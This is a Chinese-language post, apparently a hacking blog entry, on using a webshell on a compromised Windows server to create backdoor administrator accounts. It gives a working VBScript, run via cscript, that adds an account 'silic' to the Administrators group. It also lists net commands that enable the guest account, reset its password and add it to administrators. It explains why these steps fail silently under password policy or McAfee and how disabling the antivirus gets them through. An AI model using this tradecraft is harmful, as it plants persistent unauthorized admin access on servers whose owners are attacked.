第一件是远程组策略导致的cscript执行vbs创建账户等无回显的问题,也是密码长度的问题,第二件便是麦咖啡限制copy,taskkill和net命令的执行问题
在Windows下使用webshell的时候,通常会这样创建一个管理员账户:在某个可执行目录创建一个XX.vbs并执行
cscript c:\xx.vbs
set wsnetwork=CreateObject("WSCRIPT.NETWORK") ##创建组件 os="WinNT://"&wsnetwork.ComputerName ##通讯 Set ob=GetObject(os) ##获取组件 Set oe=GetObject(os&"/Administrators,group") ##administrators用户组 Set od=ob.Create("user","silic") ##用户名silic od.SetPassword "silic"##密码silic od.SetInfo Set of=GetObject(os&"/silic",user) oe.add os&"/silic"
这样可以成功使用webshell添加了一个管理员。
不过cscript有一个非常非常大的缺点,就是,一般来激昂,这样的vbs添加的账户,名称和密码都非常短,而系统通常对账户的密码长度有限制,是在组策略里面的,例如:
这个时候,在cscript执行vbs里面一般是无这样的错误回显的
cscript C:\\a.vbs & net user Microsoft (R) Windows Script Host Version 5.6 Copyright (C) Microsoft Corporation 1996-2001. All rights reserved. User accounts for \\W2K3-ARCOIRIS ------------------------------------------------------------------------------- Administrator ASPNET Guest SUPPORT_388945a0 The command completed successfully.
实际情况是
The password does not meet the password policy requirements. Check the minimum password length, password complexity and password history requirements.
也就是密码不满足策略中限定的最低位数要求
第二事情是关于麦咖啡的。服务器中如果装了杀毒软件其实很正常,要说最好的,那说什么的都要。不过要是事多的,还要数麦咖啡
虚拟主机如果对目录权限设定的很严,但是wscript启用的话,可以考虑用copy把webshell拷贝到目标目录。不过麦咖啡通常会把这个命令给限制掉,执行失败+无回显,可谓是郁闷之极,这样的控制让人一时摸不到头脑。
taskkill自然是被麦咖啡限制死的
webshell可以net user是比较常见的,不过要是可以将来宾账户添加到administrators用户组的,一般就可以执行添加账户和更改guest密码这两条命令的。
net localgroup administrators guest /add net user silic silic /add net user guest 新密码
执行添加账户和更改guest密码这两条命令的。
但悲剧的是,net user
显示The command completed successfully
然后net user silic silic!&11133 /add
无回显了
net user guest /active:yes
显示The command completed successfully
net user guest silic123!pass
无回显了
net localgroup administrators guest /add
又显示The command completed successfully
把服务器上的麦咖啡关掉之后,就全部successfully了,麦咖啡彻底的郁闷了一把(以上几条命令都是在webshell中执行的)